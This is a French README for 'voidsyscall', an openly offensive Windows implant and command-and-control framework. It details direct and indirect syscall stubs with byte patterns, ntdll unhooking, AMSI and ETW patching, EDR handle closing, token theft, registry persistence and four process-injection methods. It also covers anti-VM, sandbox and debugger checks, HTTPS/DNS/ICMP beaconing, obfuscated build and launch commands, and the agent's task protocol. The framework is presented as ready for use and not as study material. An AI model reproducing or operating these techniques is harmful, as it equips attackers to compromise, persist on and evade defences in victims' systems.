
Implant & C2 multiplateforme basé sur les appels système — appels système directs (Win), appels système bruts (Linux), canaux HTTPS/DNS/ICMP. Aucune couche winapi.
Zéro WinAPI. Chaque primitive NT est résolue à l'exécution depuis ntdll en mémoire —
les instructions SYSCALL sont émises directement via des stubs en assembleur Plan9, aucune table d'import,
aucun hook usermode de ntdll touché. C2 via HTTPS / DNS / ICMP, AES-256-GCM par
message. Windows natif. Builds Linux. Builds macOS.
Ce n'est pas une bibliothèque d'enveloppe de syscalls. C'est un framework d'implant complet où
chaque opération — de l'injection de code à la lecture de fichiers en passant par la persistance dans le
registre — passe par des syscalls Nt* bruts résolus au démarrage depuis la table d'export
ntdll courante. Aucun appel WinAPI n'existe dans le binaire. Rien pour qu'un EDR
puisse hooker en usermode.
B8 xx xx 00 00 0F 05 (direct) ou
4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate). Chaque nom de fonction est
hashé à la compilation — aucune chaîne en clair dans le binaire.asm_amd64.s) charge le SSN dans EAX,
définit 7 arguments à la main, exécute SYSCALL. Retour via RAX/RDX.0F 05 C3 (syscall;ret) dans
ntdll, appelle à travers lui. Le trap CPU atterrit à l'intérieur de ntdll — la pile d'appel
montre des frames ntdll, pas des frames de l'implant. Aucun hook usermode ne survit..text en RWX, copie les octets originaux depuis le ntdll
mappé sur disque, restaure la protection, vide l'icache, détruit le cache SSN.
Chaque hook usermode placé par n'importe quel EDR disparaît.L'agent alterne automatiquement entre les techniques d'injection. Chaque appel utilise une méthode différente — deux injections ne se ressemblent jamais en forensique.
Exécute toutes les vérifications, retourne un rapport de menace scoré. Auto-destruction en cas de Critical.
Tout via syscalls Nt*, aucun WinAPI.
EnablePrivilege(index) — active n'importe quel privilège par LUIDEnableAllTokenPrivileges() — 20 privilèges d'un coup (Debug, Impersonate, TCB, Backup, Restore, etc.)GetProcessTokenIntegrityLevel() — interroge l'intégrité obligatoireStealProcessToken(pid) — ouvre + duplique le token d'un autre processusImpersonateThread() / RevertToSelf()EnumVirtualMemory() — parcourt toutes les régions virtuelles via NtQueryVirtualMemoryFindWritableExecRegions() — trouve les régions committées PAGE_EXECUTE_READWRITEHideRegion() — définit PAGE_NOACCESS pour cacher la mémoire aux scannersUnhideRegion() — restaure la protection d'origineNtCreateFile → NtReadFile / NtWriteFile → NtClose. Zéro appel CreateFileA,
ReadFile, WriteFile, ou DeleteFileW. ReadFileContents(),
WriteFileContents(), DeleteFileNt(), FileExists().
NtCreateKey → NtSetValueKey. AddRunKeyPersistence(), RemoveRunKeyPersistence().
Aucun RegCreateKeyEx, RegSetValueEx, ou appel Advapi32.
EnumerateSystemHandles() — tous les handles ouverts du système via
NtQuerySystemInformation(SystemHandleInformation)FindEDRHandles() — fait correspondre les PID propriétaires avec 30+ noms de processus
EDR connus (MsSense, CrowdStrike, Sentinel, Cylance, Carbon Black, etc.)CloseEDRHandles() — ferme les handles de surveillance que l'EDR a placés dans votre
processusIsProcessMonitored() — vérification booléenne : sommes-nous surveillés ?NtFreeVirtualMemory.PatchAMSI() — AmsiScanBuffer → MOV EAX, 0; RETPatchETW() — EtwEventWrite → RETPatchNtTraceEvent() — NtTraceEvent → RETPatchDbgUiRemoteBreakin() — thread breakin → RETPatchInstrumentationCallbacks() — ThreadHideFromDebuggerTous les canaux implémentent l'interface Channel. Ajouter NTP, DoH, ou TURN
signifie implémenter l'interface — zéro modification de l'agent.
AEAD AES-256-GCM par message. Nonce unique de 12 octets par message. Keyring par implant. Dérivation de clé basée sur passphrase disponible. 3 tests, tous réussis.
voidsyscall/
syscallwin/ Direct/indirect NT syscalls + evasion
asm_amd64.s Syscall/IndirectSyscall/ReadGSBase/SetGSBase/asm_cpuid/asm_rdtsc
resolve.go PEB→LDR→ntdll walk, PE export parse, SSN cache, prologue scan
stubs.go ~25 Nt* wrappers, DirectSyscall, IndirectSyscallByHash
hash.go djb2 hash (string + UTF-16 pointer)
constants.go MEM_*, PAGE_*, THREAD_*, TOKEN_*, OBJ_*, REG_*, FILE_*, STATUS_*
unhook.go UnhookNtdll, SelfDel
peb.go PEB patching (BeingDebugged, NtGlobalFlag, Heap, DebugPort)
token.go Privilege escalation, token theft, impersonation
vad.go VAD enumeration, hide/unhide regions
files.go File I/O via Nt* syscalls
registry.go Registry persistence via Nt* syscalls
fingerprint.go SSN dump, build fingerprint, hex export/import
inject_advanced.go 4 injection methods: section mapping, hollow, APC, module stomp
antianalysis.go VM/sandbox/debug/timing detection, scored threat report
handles.go System handle enumeration, EDR handle killer
memcrypt.go Vault (re-keying XOR), SecureDelete, StackEncrypt, WipeMemory
syscallnix/ Linux/darwin raw syscalls
patches/ AMSI, ETW, NtTraceEvent, DbgUiRemoteBreakin, InstrumentationCallbacks
loader/ CreateThread/APC/module-stomp injection
channels/ HTTP, DNS (TXT), ICMP — Channel interface
crypto/ AES-256-GCM, envelope, passphrase variant (3 tests)
server/ SessionManager, Task Queue, interactive REPL
agent/ Config, beacon loop, 10 task handlers
cmd/server/main.go CLI with REPL
cmd/agent/main.go Windows-only entrypoint
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-agent.exe ./cmd/agent
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o voidsyscall-server.exe ./cmd/server
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o server-linux ./cmd/server
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o server-darwin ./cmd/server
Obfuscation avec garble :
GOOS=windows GOARCH=amd64 garble -literals -tiny build -ldflags="-s -w" \
-o voidsyscall-agent.exe ./cmd/agent
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
./voidsyscall-server.exe --cert cert.pem --key key.pem --https-port 443
./voidsyscall-agent.exe -c agent/example-config.json
ReadGSBase (asm) → GS:[0x60] → TEBLdrInMemoryOrderModuleList → correspondance ntdll.dll via hash djb2IMAGE_DOS_HEADER → e_lfanew → IMAGE_NT_HEADERS → DataDirectory[0] = Table d'exportAddressOfNames[], djb2 sur chacun, correspondance avec la cibleAddressOfFunctions[ordinal] → adresse de la fonctionB8 xx xx 00 00 0F 05 (direct), B8 xx xx 00 00 C3 (early-ret), ou 4C 8B D1 B8 xx xx 00 00 0F 05 (Hells Gate)Aucun nom de fonction dans le binaire. Uniquement des hashs djb2. L'instruction syscall
contourne chaque hook usermode.
TaskShell // exec via cmd.exe
TaskInject // polymorphic: section/hollow/APC/stomp
TaskPatch // AMSI/ETW/both
TaskEvasion // PEB patches + VM/sandbox/debug/timing detection
TaskHandles // enumerate + kill EDR monitoring handles
TaskFingerprint // dump SSN build fingerprint
TaskToken // privilege escalation + impersonation
TaskVault // encrypted in-memory storage
TaskSleep // jitter-aware sleep
TaskExit // clean shutdown
Livré : Boucle de beacon, file de tâches, 3 canaux C2, 4 méthodes d'injection,
10+ vérifications d'évasion, énumération/fermeture de handles, manipulation de tokens, opérations VAD,
E/S fichiers, persistance registre, empreinte SSN, chiffrement mémoire,
patchs AMSI/ETW, crypto AES-GCM, gestion de session, REPL interactif.
3 tests crypto réussis. go build propre sur Windows.
Pas encore : Agent autonome Linux (les builds existent, pas de logique d'agent), rotation des clés de session, loader étagé, canaux NTP/DoH, planification de persistance.
MIT — LICENSE
| Méthode | Fonctionnement | Pourquoi c'est furtif |
|---|
| Section mapping | NtCreateSection → NtMapViewOfSection (distant) → NtCreateThreadEx | Aucune allocation RWX dans le VAD. La section est adossée à un fichier. Les scanners mémoire voient PAGE_EXECUTE_READ, pas PAGE_EXECUTE_READWRITE. |
| Process hollow | NtCreateUserProcess (suspendu) → NtSuspendProcess → zéro image base → alloc + écriture shellcode → NtSetContextThread (RIP = shellcode) → NtResumeProcess | Le processus apparaît comme un svchost.exe légitime dans le gestionnaire de tâches. Seul le contenu mémoire diffère. |
| APC queuing | Énumère les threads via NtQuerySystemInformation → NtOpenThread → NtQueueApcThread | Aucun nouveau thread créé. Aucun nouveau TEB. Aucune nouvelle allocation de pile. Se déclenche quand le thread entre en attente alertable. |
| Module stomping | Alloc dans la cible → écrit un en-tête PE minimal + shellcode → NtCreateThreadEx au point d'entrée | La liste des modules affiche un nom de DLL plausible. L'en-tête PE est suffisamment valide pour tromper l'énumération des modules. |
| Vérification | Méthode |
|---|
| Détection VM | Scan de signature hyperviseur CPUID leaf 0x40000000 (VMware, VirtualBox, Hyper-V, KVM, Xen, QEMU, Parallels) + fallback leaf 0x40000001 |
| Détection sandbox | Nombre de CPU, artefacts de registre (VMware Tools, VBox Guest Additions, services VMware/VBox), scan de processus sandbox (30+ noms connus : wireshark, procmon, x64dbg, ida, etc.) |
| Détection debugger | PEB.BeingDebugged, PEB.NtGlobalFlag, flags de debug du heap, ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags, breakpoints matériels DR0-7, vérification de timing single-step |
| Anomalie de timing | Basé sur RDTSC : 50 échantillons de latence NtQuerySystemInformation, moyenne/écart-type, alerte si >10% des échantillons dépassent une variance de 3σ. Détecte la surcharge d'instrumentation. |
| Évasion PEB | Patche BeingDebugged, NtGlobalFlag, flags ProcessHeap, DebugPort, ThreadHideFromDebugger — tout via lectures du segment GS + NtWriteVirtualMemory. Aucun appel API. |
| Canal | Format de transmission | Prérequis |
|---|
| HTTPS | POST binaire, framing personnalisé, UA/chemin randomisés | Certificat TLS |
| DNS | sous-domaine <idx>-<total>-<base32>, réponse TXT | Résolution DNS |
| ICMPv4 | payload dans l'ID+seq de la requête/réponse echo | socket brut (root/Admin) |
| Tâche | Octet | Payload |
|---|
| shell | 0x01 | commande UTF-8 |
| inject | 0x02 | PID (4 octets LE) + shellcode |
| patch | 0x03 | 0x01=AMSI, 0x02=ETW, 0x03=les deux |
| sleep | 0x04 | secondes (4 octets LE) |
| evasion | 0x10 | 0x01=complet, 0x02=VM, 0x03=sandbox, 0x04=debug, 0x05=timing, 0x06=rapport |
| handles | 0x11 | 0x01=compte, 0x02=énum EDR, 0x03=fermer EDR, 0x04=surveillé ? |
| vault | 0x12 | opérations de stockage chiffré |
| fingerprint | 0x13 | dump de l'empreinte de build SSN |
| token | 0x14 | 0x01=activer tout, 0x02=intégrité, 0x03=priv debug, 0x04=usurper |
| exit | 0xFF | — |
map[uint32]uint16